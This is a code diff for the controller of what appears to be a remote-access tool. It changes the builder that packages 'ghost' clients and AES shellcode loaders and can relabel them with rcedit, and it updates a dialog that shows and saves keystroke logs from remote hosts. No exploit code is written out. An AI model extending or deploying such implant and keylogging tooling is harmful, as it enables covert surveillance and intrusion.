    <ClInclude Include="proxy\HPTypeDef.h" />
@@ -388,6 +389,7 @@
      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
    </ClCompile>
    <ClCompile Include="PluginSettingsDlg.cpp" />
+    <ClCompile Include="PreviewTipWnd.cpp" />
    <ClCompile Include="TriggerSettingsDlg.cpp" />
    <ClCompile Include="WebService.cpp" />
    <ClCompile Include="..\..\client\MemoryModule.c">
--- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters
@@ -81,6 +81,7 @@
    <ClCompile Include="WebService.cpp" />
    <ClCompile Include="msvc_compat.c" />
    <ClCompile Include="PluginSettingsDlg.cpp" />
+    <ClCompile Include="PreviewTipWnd.cpp" />
    <ClCompile Include="TriggerSettingsDlg.cpp" />
  </ItemGroup>
  <ItemGroup>
@@ -185,6 +186,7 @@
    <ClInclude Include="WebPage.h" />
    <ClInclude Include="SimpleWebSocket.h" />
    <ClInclude Include="PluginSettingsDlg.h" />
+    <ClInclude Include="PreviewTipWnd.h" />
    <ClInclude Include="TriggerSettingsDlg.h" />
  </ItemGroup>
  <ItemGroup>
--- a/server/2015Remote/BuildDlg.cpp
+++ b/server/2015Remote/BuildDlg.cpp
@@ -10,6 +10,8 @@
 #include "InputDlg.h"
 #include <bcrypt.h>
 #include <wincrypt.h>
+#include <Shlwapi.h>
+#pragma comment(lib, "Shlwapi.lib")
 #include "Resource.h"
 extern "C" {
 #include "client/reg_startup.h"
@@ -49,11 +51,66 @@ std::string GetPwdHash();

 int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);

-LPBYTE ReadResource(int resourceId, DWORD &dwSize)
+// 获取程序目录下 res 子目录的路径
+static CString GetResDirectoryPath()
+{
+    TCHAR szPath[MAX_PATH];
+    GetModuleFileName(NULL, szPath, MAX_PATH);
+    PathRemoveFileSpec(szPath);
+    PathAppend(szPath, _T("res"));
+    return CString(szPath);
+}
+
+// 从外部文件读取资源（优先级高于内嵌资源）
+static LPBYTE ReadResourceFromFile(const char* resName, DWORD &dwSize)
+{
+    if (!resName || !resName[0]) {
+        return NULL;
+    }
+
+    CString resDir = GetResDirectoryPath();
+    CString filePath;
+    filePath.Format(_T("%s\\%hs"), (LPCTSTR)resDir, resName);
+
+    // 检查文件是否存在
+    if (GetFileAttributes(filePath) == INVALID_FILE_ATTRIBUTES) {
+        return NULL;
+    }
+
+    // 打开文件
+    HANDLE hFile = CreateFile(filePath, GENERIC_READ, FILE_SHARE_READ, NULL,
+                              OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
+    if (hFile == INVALID_HANDLE_VALUE) {
+        return NULL;
+    }
+
+    // 获取文件大小
+    LARGE_INTEGER fileSize;
+    if (!GetFileSizeEx(hFile, &fileSize) || fileSize.QuadPart == 0) {
+        CloseHandle(hFile);
+        return NULL;
+    }
+
+    // 分配内存并读取文件
+    dwSize = (DWORD)fileSize.QuadPart;
+    LPBYTE buffer = new BYTE[dwSize];
+    DWORD bytesRead = 0;
+    if (!ReadFile(hFile, buffer, dwSize, &bytesRead, NULL) || bytesRead != dwSize) {
+        delete[] buffer;
+        CloseHandle(hFile);
+        dwSize = 0;
+        return NULL;
+    }
+
+    CloseHandle(hFile);
+    return buffer;
+}
+
+// 从内嵌资源读取
+static LPBYTE ReadResourceFromEmbedded(int resourceId, DWORD &dwSize)
 {
    dwSize = 0;
-    auto id = resourceId;
-    HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(id), "BINARY");
+    HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(resourceId), "BINARY");
    if (hResource == NULL) {
        return NULL;
    }
@@ -76,6 +133,54 @@ LPBYTE ReadResource(int resourceId, DWORD &dwSize)
    return r;
 }

+// 读取资源：优先从 res 目录读取外部文件，如果不存在则使用内嵌资源
+// resName: 外部文件名（如 "ghost_x64.exe"），为空时直接使用内嵌资源
+LPBYTE ReadResource(int resourceId, DWORD &dwSize, const char* resName)
+{
+    dwSize = 0;
+
+    // 1. 优先尝试从 res 目录读取外部文件
+    if (resName && resName[0]) {
+        LPBYTE data = ReadResourceFromFile(resName, dwSize);
+        if (data) {
+            return data;
+        }
+    }
+
+    // 2. 回退到内嵌资源
+    return ReadResourceFromEmbedded(resourceId, dwSize);
+}
+
+// ========== res 目录外部资源文件名定义 ==========
+// 命名规范：<模块名>_<架构>.exe/.dll/.bin
+// 架构：x86 / x64 / linux / macos
+namespace ResFileName {
+    // Ghost 主程序
+    const char* GHOST_X86         = "ghost_x86.exe";
+    const char* GHOST_X64         = "ghost_x64.exe";
+    const char* GHOST_LINUX       = "ghost_linux";
+    const char* GHOST_MACOS       = "ghost_macos";      // 预留
+    // TestRun 加载器
+    const char* TESTRUN_X86       = "testrun_x86.dll";
+    const char* TESTRUN_X64       = "testrun_x64.dll";
+    // ServerDll
+    const char* SERVERDLL_X86     = "serverdll_x86.dll";
+    const char* SERVERDLL_X64     = "serverdll_x64.dll";
+    // TinyRun
+    const char* TINYRUN_X86       = "tinyrun_x86.exe";
+    const char* TINYRUN_X64       = "tinyrun_x64.exe";
+    // SCLoader (Shellcode加载器)
+    const char* SCLOADER_X86      = "scloader_x86.bin";
+    const char* SCLOADER_X64      = "scloader_x64.bin";
+    const char* SCLOADER_X86_OLD  = "scloader_old_x86.bin";
+    const char* SCLOADER_X64_OLD  = "scloader_old_x64.bin";
+    // FRP 相关 (无架构区分，64位DLL)
+    const char* FRPC_DLL          = "frpc.dll";
+    const char* FRPS_DLL          = "frps.dll";
+    // 工具
+    const char* UPX_EXE           = "upx.exe";
+    const char* RCEDIT_EXE        = "rcedit.exe";
+}

 CString GenerateRandomName(int nLength)
 {
@@ -180,10 +285,10 @@ bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuff

 BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset = 0);

-std::string ReleaseEXE(int resID, const char* name)
+std::string ReleaseEXE(int resID, const char* name, const char* resName)
 {
    DWORD dwSize = 0;
-    LPBYTE data = ReadResource(resID, dwSize);
+    LPBYTE data = ReadResource(resID, dwSize, resName);
    if (!data)
        return "";

@@ -329,42 +434,48 @@ void CBuildDlg::OnBnClickedOk()
        startup = std::map<int, int> {
            {IndexTestRun_DLL, Startup_DLL},{IndexTestRun_MemDLL, Startup_MEMDLL},{IndexTestRun_InjSC, Startup_InjSC},
        } [index];
-        szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize);
+        szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize,
+                                is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86);
        break;
    case IndexGhost:
        file = "ghost.exe";
        targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir);
        typ = CLIENT_TYPE_ONE;
-        szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize);
+        szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize,
+                                is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86);
        break;
    case IndexGhostMsc:
        file = "ghost.exe";
        targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir);
        typ = CLIENT_TYPE_ONE;
        startup = Startup_GhostMsc;
-        szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize);
+        szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize,
+                                is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86);
        break;
    case IndexTestRunMsc:
        file = "TestRun.exe";
        targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir);
        typ = CLIENT_TYPE_MEMDLL;
        startup = Startup_TestRunMsc;
-        szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize);
+        szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize,
+                                is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86);
        break;
    case IndexServerDll:
        file = "ServerDll.dll";
        typ = CLIENT_TYPE_DLL;
-        szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize);
+        szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize,
+                                is64bit ? ResFileName::SERVERDLL_X64 : ResFileName::SERVERDLL_X86);
        break;
    case IndexTinyRun:
        file = "TinyRun.dll";
        typ = CLIENT_TYPE_SHELLCODE;
-        szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize);
+        szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize,
+                                is64bit ? ResFileName::TINYRUN_X64 : ResFileName::TINYRUN_X86);
        break;
    case IndexLinuxGhost:
        file = "ghost";
        typ = CLIENT_TYPE_LINUX;
-        szBuffer = ReadResource(IDR_LINUX_GHOST, dwFileSize);
+        szBuffer = ReadResource(IDR_LINUX_GHOST, dwFileSize, ResFileName::GHOST_LINUX);
        break;
    case OTHER_ITEM: {
        m_OtherItem.GetWindowTextA(file);
@@ -470,7 +581,8 @@ void CBuildDlg::OnBnClickedOk()
        } else {
            if (sel == CLIENT_COMPRESS_SC_AES) {
                DWORD dwSize = 0;
-                LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64 : IDR_SCLOADER_X86, dwSize);
+                LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64 : IDR_SCLOADER_X86, dwSize,
+                                           is64bit ? ResFileName::SCLOADER_X64 : ResFileName::SCLOADER_X86);
                if (data) {
                    int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
                    if (iOffset != -1) {
@@ -534,7 +646,8 @@ void CBuildDlg::OnBnClickedOk()
            } else if (sel == CLIENT_COMPRESS_SC_AES_OLD || // 兼容旧版本
                sel == CLIENT_COMP_SC_AES_OLD_UPX) {
                DWORD dwSize = 0;
-                LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64_OLD : IDR_SCLOADER_X86_OLD, dwSize);
+                LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64_OLD : IDR_SCLOADER_X86_OLD, dwSize,
+                                           is64bit ? ResFileName::SCLOADER_X64_OLD : ResFileName::SCLOADER_X86_OLD);
                if (data) {
                    int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
                    if (iOffset != -1) {
--- a/server/2015Remote/BuildDlg.h
+++ b/server/2015Remote/BuildDlg.h
@@ -3,9 +3,42 @@
 #include "Buffer.h"
 #include "LangManager.h"

-LPBYTE ReadResource(int resourceId, DWORD& dwSize);
+// 读取资源：优先从 res 目录读取外部文件，如果不存在则使用内嵌资源
+// resName: 外部文件名（如 "ghost_x64.exe"），为空时直接使用内嵌资源
+LPBYTE ReadResource(int resourceId, DWORD& dwSize, const char* resName = nullptr);

-std::string ReleaseEXE(int resID, const char* name);
+std::string ReleaseEXE(int resID, const char* name, const char* resName = nullptr);
+
+// ========== res 目录外部资源文件名定义 ==========
+// 命名规范：<模块名>_<架构>.exe/.dll/.bin
+// 架构：x86 / x64 / linux / macos
+namespace ResFileName {
+    // Ghost 主程序
+    extern const char* GHOST_X86;
+    extern const char* GHOST_X64;
+    extern const char* GHOST_LINUX;
+    extern const char* GHOST_MACOS;         // 预留
+    // TestRun 加载器
+    extern const char* TESTRUN_X86;
+    extern const char* TESTRUN_X64;
+    // ServerDll
+    extern const char* SERVERDLL_X86;
+    extern const char* SERVERDLL_X64;
+    // TinyRun
+    extern const char* TINYRUN_X86;
+    extern const char* TINYRUN_X64;
+    // SCLoader (Shellcode加载器)
+    extern const char* SCLOADER_X86;
+    extern const char* SCLOADER_X64;
+    extern const char* SCLOADER_X86_OLD;
+    extern const char* SCLOADER_X64_OLD;
+    // FRP 相关 (无架构区分，64位DLL)
+    extern const char* FRPC_DLL;
+    extern const char* FRPS_DLL;
+    // 工具
+    extern const char* UPX_EXE;
+    extern const char* RCEDIT_EXE;
+}

 CString BuildPayloadUrl(const char* ip, const char* name);

--- a/server/2015Remote/CRcEditDlg.cpp
+++ b/server/2015Remote/CRcEditDlg.cpp
@@ -5,6 +5,7 @@
 #include "CRcEditDlg.h"
 #include "afxdialogex.h"
 #include "Resource.h"
+#include "BuildDlg.h"


 // CRcEditDlg 对话框
@@ -78,10 +79,9 @@ void CRcEditDlg::OnOK()
        MessageBoxL("请选择[*.ico]图标文件或输入进程描述!", "提示", MB_ICONINFORMATION);
        return;
    }
-    std::string ReleaseEXE(int resID, const char* name);
    int run_cmd(std::string cmdLine);

-    std::string rcedit = ReleaseEXE(IDR_BIN_RCEDIT, "rcedit.exe");
+    std::string rcedit = ReleaseEXE(IDR_BIN_RCEDIT, "rcedit.exe", ResFileName::RCEDIT_EXE);
    if (rcedit.empty()) {
        MessageBoxL("解压程序失败，无法操作PE!", "提示", MB_ICONINFORMATION);
        return;
--- a/server/2015Remote/FileManagerDlg.cpp
+++ b/server/2015Remote/FileManagerDlg.cpp
@@ -25,6 +25,24 @@ static UINT indicators[] = {
 #define MAX_SEND_BUFFER		65535
 #define	MAX_RECV_BUFFER		65535

+// 静态成员变量定义 - 历史路径记录
+CString CFileManagerDlg::s_strLocalHistoryPath;
+std::map<uint64_t, CString> CFileManagerDlg::s_mapRemoteHistoryPath;
+CLock CFileManagerDlg::s_lockHistory;
+
+// 获取有效的客户端ID：基类已经覆盖 m_ClientID + ctx->GetClientID()（含 auth 后钉的值），
+// 这里仅在它们都拿不到时（老客户端没走 auth）通过 IP 反查主连接做兜底。
+uint64_t CFileManagerDlg::GetClientID() const
+{
+    uint64_t id = CDialogBase::GetClientID();
+    if (id != 0) return id;
+    // 老客户端兜底：通过 IP 找主连接获取 ClientID（线程安全）
+    if (g_2015RemoteDlg && m_ContextObject) {
+        return g_2015RemoteDlg->FindClientIDByIP(m_ContextObject->GetPeerName());
+    }
+    return 0;
+}
+
 typedef struct {
    LVITEM* plvi;
    CString sCol2;
@@ -137,10 +155,12 @@ BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog)
    ON_COMMAND(IDT_LOCAL_DOWNLOADS, OnLocalDownloads)
    ON_COMMAND(IDT_LOCAL_HOME, OnLocalHome)
    ON_COMMAND(IDT_LOCAL_SEARCH, OnLocalSearch)
+    ON_COMMAND(IDT_LOCAL_HISTORY, OnLocalHistory)
    ON_COMMAND(IDT_REMOTE_DESKTOP, OnRemoteDesktop)
    ON_COMMAND(IDT_REMOTE_DOWNLOADS, OnRemoteDownloads)
    ON_COMMAND(IDT_REMOTE_HOME, OnRemoteHome)
    ON_COMMAND(IDT_REMOTE_SEARCH, OnRemoteSearch)
+    ON_COMMAND(IDT_REMOTE_HISTORY, OnRemoteHistory)
    ON_COMMAND(IDM_TRANSFER, OnTransfer)
    ON_COMMAND(IDM_RENAME, OnRename)
    ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_LOCAL, OnEndlabeleditListLocal)
@@ -494,6 +514,12 @@ void CFileManagerDlg::FixedLocalFileList(CString directory)
    }

    ShowMessage(_TRF("本地：装载目录 %s 完成"), m_Local_Path);
+
+    // 记录本地历史路径
+    if (m_Local_Path.GetLength() > 0) {
+        CAutoCLock lock(s_lockHistory);
+        s_strLocalHistoryPath = m_Local_Path;
+    }
 }

 void CFileManagerDlg::DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList)
@@ -966,6 +992,8 @@ void CFileManagerDlg::OnReceiveComplete()
            ShowMessage(_TRF("搜索 \"%s\" 在 %s 完成，共 %d 个结果 (耗时 %d秒)"), m_strSearchName, m_strSearchPath, m_nSearchResultCount, dwElapsed);
        }
        break;
+    case TOKEN_CLIENTID:
+        break;
    default:
        SendException();
        break;
@@ -1024,6 +1052,13 @@ void CFileManagerDlg::GetRemoteFileList(CString directory)
    m_Remote_Directory_ComboBox.InsertStringL(0, m_Remote_Path);
    m_Remote_Directory_ComboBox.SetCurSel(0);

+    // 记录远程历史路径（按客户端ID区分）
+    uint64_t clientID = GetClientID();
+    if (m_Remote_Path.GetLength() > 0 && clientID != 0) {
+        CAutoCLock lock(s_lockHistory);
+        s_mapRemoteHistoryPath[clientID] = m_Remote_Path;
+    }
+
    // 得到返回数据前禁窗口
    m_list_remote.EnableWindow(FALSE);
    m_ProgressCtrl->SetPos(0);
@@ -1594,6 +1629,57 @@ void CFileManagerDlg::OnRemoteSearch()
    }
 }

+void CFileManagerDlg::OnLocalHistory()
+{
+    // 跳转到上次打开的本地文件夹
+    CString historyPath;
+    {
+        CAutoCLock lock(s_lockHistory);
+        historyPath = s_strLocalHistoryPath;
+    }
+
+    if (historyPath.IsEmpty()) {
+        ShowMessage(_TR("没有本地历史记录"));
+        return;
+    }
+
+    // 检查目录是否存在
+    if (GetFileAttributesA(historyPath) == INVALID_FILE_ATTRIBUTES) {
+        ShowMessage(_TRF("历史目录不存在: %s"), historyPath);
+        return;
+    }
+
+    m_Local_Path = historyPath;
+    FixedLocalFileList(".");
+}
+
+void CFileManagerDlg::OnRemoteHistory()
+{
+    // 跳转到上次打开的远程文件夹（按客户端ID区分）
+    uint64_t clientID = GetClientID();
+    if (clientID == 0) {
+        ShowMessage(_TR("无法识别远程主机"));
+        return;
+    }
+
+    CString historyPath;
+    {
+        CAutoCLock lock(s_lockHistory);
+        auto it = s_mapRemoteHistoryPath.find(clientID);
+        if (it != s_mapRemoteHistoryPath.end()) {
+            historyPath = it->second;
+        }
+    }
+
+    if (historyPath.IsEmpty()) {
+        ShowMessage(_TR("没有远程历史记录"));
+        return;
+    }
+
+    m_Remote_Path = historyPath;
+    GetRemoteFileList(".");
+}
+
 void CFileManagerDlg::OnLocalView()
 {
    // TODO: Add your command handler code here
--- a/server/2015Remote/FileManagerDlg.h
+++ b/server/2015Remote/FileManagerDlg.h
@@ -7,6 +7,7 @@

 #include "IOCPServer.h"
 #include "SortListCtrl.h"
+#include "../../common/locker.h"
 #include <map>
 #include <string>
 #include <vector>
@@ -246,10 +247,12 @@ protected:
    afx_msg void OnLocalDownloads();
    afx_msg void OnLocalHome();
    afx_msg void OnLocalSearch();
+    afx_msg void OnLocalHistory();
    afx_msg void OnRemoteDesktop();
    afx_msg void OnRemoteDownloads();
    afx_msg void OnRemoteHome();
    afx_msg void OnRemoteSearch();
+    afx_msg void OnRemoteHistory();
    afx_msg void OnTransferV2ToRemote();  // V2: 本地文件传输到远程
    afx_msg void OnTransferV2ToLocal();   // V2: 远程文件传输到本地
    //}}AFX_MSG
@@ -274,6 +277,14 @@ private:
    void EnableControl(BOOL bEnable = TRUE);
    void CollectFilesRecursive(const std::string& dirPath, std::vector<std::string>& files);
    float m_fScalingFactor;
+
+    // 历史路径记录（静态，跨实例共享）
+    static CString s_strLocalHistoryPath;
+    static std::map<uint64_t, CString> s_mapRemoteHistoryPath;
+    static CLock s_lockHistory;  // 保护历史路径的锁
+
+    // 获取有效的客户端ID（优先用 m_ClientID，否则通过 IP 找主连接）
+    uint64_t GetClientID() const;
 public:
    afx_msg void OnFilemangerCompress();
    afx_msg void OnFilemangerUncompress();
--- a/server/2015Remote/IOCPServer.h
+++ b/server/2015Remote/IOCPServer.h
@@ -228,8 +228,12 @@ public:
    {
        return m_bIsClosed;
    }
-    uint64_t GetClientID() const {
-        return m_ClientID;
+    virtual uint64_t GetClientID() const {
+        // 优先用 UpdateContext 设过的 m_ClientID（重连场景），否则取子连接 ctx 自身的 ID。
+        // 子连接通过 TOKEN_CONN_AUTH 通过校验后，ctx->GetClientID() 已被钉成主连接的 clientID，
+        // 这样 dialog 拿到的 ID 既准确又免去 IP 反查兜底（NAT/127.0.0.1 场景靠谱）。
+        if (m_ClientID != 0) return m_ClientID;
+        return m_ContextObject ? m_ContextObject->GetClientID() : 0;
    }
    BOOL SayByeBye()
    {
--- a/server/2015Remote/KeyBoardDlg.cpp
+++ b/server/2015Remote/KeyBoardDlg.cpp
@@ -3,7 +3,9 @@

 #include "stdafx.h"
 #include <WinUser.h>
+#include <string>
 #include "KeyBoardDlg.h"
+#include "2015RemoteDlg.h"   // GetClientEncoding helper

 #ifdef _DEBUG
 #define new DEBUG_NEW
@@ -22,7 +24,18 @@ static char THIS_FILE[] = __FILE__;
 CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
    : DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
 {
-    m_bIsOfflineRecord = (BYTE)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[1];
+    m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1);
+
+    // 子连接从协议扩展字段（byte 2-3）拿到能力位，写入自身的 CAPABILITIES。
+    // 这样 m_ContextObject->SupportsUtf8() 可直接生效，不再依赖 IP 反查主连接。
+    // 老客户端只发 2 字节，GetBYTE 越界返回 0，等同 caps=0 -> 走 CP936 兜底，向后兼容。
+    WORD caps = m_ContextObject->m_DeCompressionBuffer.GetBYTE(2)
+              | (m_ContextObject->m_DeCompressionBuffer.GetBYTE(3) << 8);
+    if (caps != 0) {
+        CString capStr;
+        capStr.Format(_T("%04X"), caps);
+        m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr);
+    }
 }


@@ -73,6 +86,32 @@ BOOL CKeyBoardDlg::OnInitDialog()

    UpdateTitle();

+    // -----------------------------------------------------------------
+    // 把 m_edit 重建为 Unicode 类窗口。
+    // 工程是 MBCS，MFC 默认用 A 版 CreateWindowEx 创建子控件，导致即便
+    // 调 SendMessageW(EM_REPLACESEL,...) 系统也会在 W->A 边界用 CP_ACP
+    // 转码，德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建
+    // 后，控件内部以 Unicode 存储，W 版消息直通，不再走 CP_ACP。
+    // -----------------------------------------------------------------
+    {
+        CRect rc;
+        m_edit.GetWindowRect(&rc);
+        ScreenToClient(&rc);
+        DWORD style   = m_edit.GetStyle();
+        DWORD exStyle = m_edit.GetExStyle();
+        HFONT hFont   = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
+        UINT  ctrlID  = m_edit.GetDlgCtrlID();
+        m_edit.DestroyWindow();
+        HWND hEdit = ::CreateWindowExW(
+            exStyle, L"EDIT", L"", style,
+            rc.left, rc.top, rc.Width(), rc.Height(),
+            this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
+            AfxGetInstanceHandle(), NULL);
+        m_edit.Attach(hEdit);
+        if (hFont)
+            m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+    }
+
    m_edit.SetLimitText(MAXDWORD); // 设置最大长度

    // 通知远程控制端对话框已经打开
@@ -110,9 +149,33 @@ void CKeyBoardDlg::AddKeyBoardData()
 {
    // 最后填上0
    m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
-    int	len = m_edit.GetWindowTextLength();
-    m_edit.SetSel(len, len);
-    m_edit.ReplaceSel((TCHAR *)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1));
+    const char* utf8 = (const char*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1);
+    if (!utf8 || !utf8[0])
+        return;
+
+    // 客户端编码由能力位 CLIENT_CAP_UTF8 决定。
+    // 注意：m_ContextObject 是键盘记录子连接，其自身 CAPABILITIES 为空；
+    // helper 内部通过 peer IP 查主连接获取真正的能力位。
+    UINT cp = GetClientEncoding(m_ContextObject);
+    int wlen = MultiByteToWideChar(cp, 0, utf8, -1, NULL, 0);
+    if (wlen <= 1)
+        return;
+    std::wstring wbuf(wlen - 1, L'\0');
+    MultiByteToWideChar(cp, 0, utf8, -1, &wbuf[0], wlen);
+
+    // 全程走 W 版消息直通 Unicode 控件。注意几个坑：
+    //   1) MFC 的 m_edit.SetSel(...) 默认走 ::SendMessage (A 版) 并紧跟一次
+    //      EM_SCROLLCARET，时序变成 "SetSel→ScrollCaret→ReplaceSel"，即
+    //      先滚到旧末尾、再插入，部分场景控件状态会错乱（光标不在末尾、
+    //      用户手动移动光标后插入位置不对等）。
+    //   2) EM_SETSEL 用 0x7FFFFFFF 表示"末尾"，由控件自行 clamp 到当前长度，
+    //      不依赖 WM_GETTEXTLENGTH 计算结果。
+    //   3) ReplaceSel 后再 ScrollCaret，确保滚到 *新* 末尾。
+    HWND hEdit = m_edit.GetSafeHwnd();
+    if (!hEdit) return;
+    ::SendMessageW(hEdit, EM_SETSEL, (WPARAM)0x7FFFFFFF, (LPARAM)0x7FFFFFFF);
+    ::SendMessageW(hEdit, EM_REPLACESEL, FALSE, (LPARAM)wbuf.c_str());
+    ::SendMessageW(hEdit, EM_SCROLLCARET, 0, 0);
 }

 bool CKeyBoardDlg::SaveRecord()
@@ -129,10 +192,30 @@ bool CKeyBoardDlg::SaveRecord()
        MessageBox(msg, _TR("提示"), MB_ICONINFORMATION);
        return false;
    }
-    // Write the DIB header and the bits
-    CString	strRecord;
-    m_edit.GetWindowText(strRecord);
-    file.Write(strRecord, strRecord.GetLength());
+
+    // m_edit 已是 Unicode 控件：用 W 版取宽字符串，转 UTF-8 写入并加 BOM。
+    // 这样保存的文件无视服务端 ACP，记事本/VS Code 等都能自动识别。
+    int wlen = ::GetWindowTextLengthW(m_edit.GetSafeHwnd());
+    std::wstring wbuf;
+    if (wlen > 0) {
+        wbuf.resize(wlen);
+        ::GetWindowTextW(m_edit.GetSafeHwnd(), &wbuf[0], wlen + 1);
+    }
+
+    // UTF-8 BOM
+    const BYTE bom[3] = { 0xEF, 0xBB, 0xBF };
+    file.Write(bom, 3);
+
+    if (!wbuf.empty()) {
+        int u8len = WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen,
+                                        NULL, 0, NULL, NULL);
+        if (u8len > 0) {
+            std::string u8(u8len, '\0');
+            WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen,
+                                &u8[0], u8len, NULL, NULL);
+            file.Write(u8.data(), (UINT)u8.size());
+        }
+    }
    file.Close();

    return true;
@@ -156,7 +239,8 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
    } else if (nID == IDM_CLEAR_RECORD) {
        BYTE bToken = COMMAND_KEYBOARD_CLEAR;
        m_ContextObject->Send2Client(&bToken, 1);
-        m_edit.SetWindowText("");
+        // m_edit 是 Unicode 类控件，调 W 版避免 CP_ACP 边界转换
+        ::SetWindowTextW(m_edit.GetSafeHwnd(), L"");
    } else if (nID == IDM_SAVE_RECORD) {
        SaveRecord();
    } else {
--- a/server/2015Remote/LangManager.h
+++ b/server/2015Remote/LangManager.h
@@ -1,11 +1,13 @@
 #pragma once

 #include <map>
+#include <set>
 #include <string>
 #include <vector>
 #include <locale.h>
 #include <afxwin.h>
 #include "common/IniParser.h"
+#include "resource.h"  // 用于内嵌语言资源 ID

 // 设置线程区域为简体中文
 // 这样 MBCS 程序在非中文系统上创建对话框时，也能正确解码 RC 资源中的 GBK 中文
@@ -55,17 +57,20 @@ public:
        } else {
            m_langDir = langDir;
        }
-
-        // 确保目录存在
-        CreateDirectory(m_langDir, NULL);
    }

-    // 获取可用的语言列表
+    // 获取可用的语言列表（包括内嵌语言）
    std::vector<CString> GetAvailableLanguages()
    {
        std::vector<CString> langs;
-        CString searchPath = m_langDir + _T("\\*.ini");
+        std::set<CString> langSet;  // 用于去重

+        // 1. 添加内嵌语言（始终可用）
+        langSet.insert(_T("en_US"));
+        langSet.insert(_T("zh_TW"));
+
+        // 2. 扫描磁盘上的语言文件
+        CString searchPath = m_langDir + _T("\\*.ini");
        WIN32_FIND_DATA fd;
        HANDLE hFind = FindFirstFile(searchPath, &fd);
        if (hFind != INVALID_HANDLE_VALUE) {
@@ -73,30 +78,43 @@ public:
                CString filename(fd.cFileName);
                int dotPos = filename.ReverseFind(_T('.'));
                if (dotPos > 0) {
-                    langs.push_back(filename.Left(dotPos));
+                    langSet.insert(filename.Left(dotPos));
                }
            } while (FindNextFile(hFind, &fd));
            FindClose(hFind);
        }
+
+        // 转为 vector 返回
+        for (const auto& lang : langSet) {
+            langs.push_back(lang);
+        }
        return langs;
    }

    // 检查语言文件编码是否为 ANSI
-    // 返回 false 表示文件不存在或编码不是 ANSI（检测 BOM 和 UTF-8 无 BOM）
+    // 返回 false 表示编码不是 ANSI（检测 BOM 和 UTF-8 无 BOM）
+    // 内嵌语言（en_US, zh_TW）直接返回 true
    bool CheckEncoding(const CString& langCode)
    {
+        // 中文模式无需检查
        if (langCode == _T("zh_CN") || langCode.IsEmpty()) {
            TRACE("[LangEnc] zh_CN or empty, skip check\n");
            return true;
        }

+        // 内嵌语言无需检查（已确保编码正确）
+        if (langCode == _T("en_US") || langCode == _T("zh_TW")) {
+            TRACE("[LangEnc] builtin language, skip check\n");
+            return true;
+        }
+
        CString langFile = m_langDir + _T("\\") + langCode + _T(".ini");
        TRACE("[LangEnc] Checking: %s\n", (LPCSTR)langFile);

        FILE* f = nullptr;
        if (fopen_s(&f, (LPCSTR)langFile, "rb") != 0 || !f) {
            TRACE("[LangEnc] fopen failed\n");
-            return false;
+            return false;  // 非内嵌语言必须有磁盘文件
        }

        // 读取文件内容（最多检测前 4KB 即可判断）
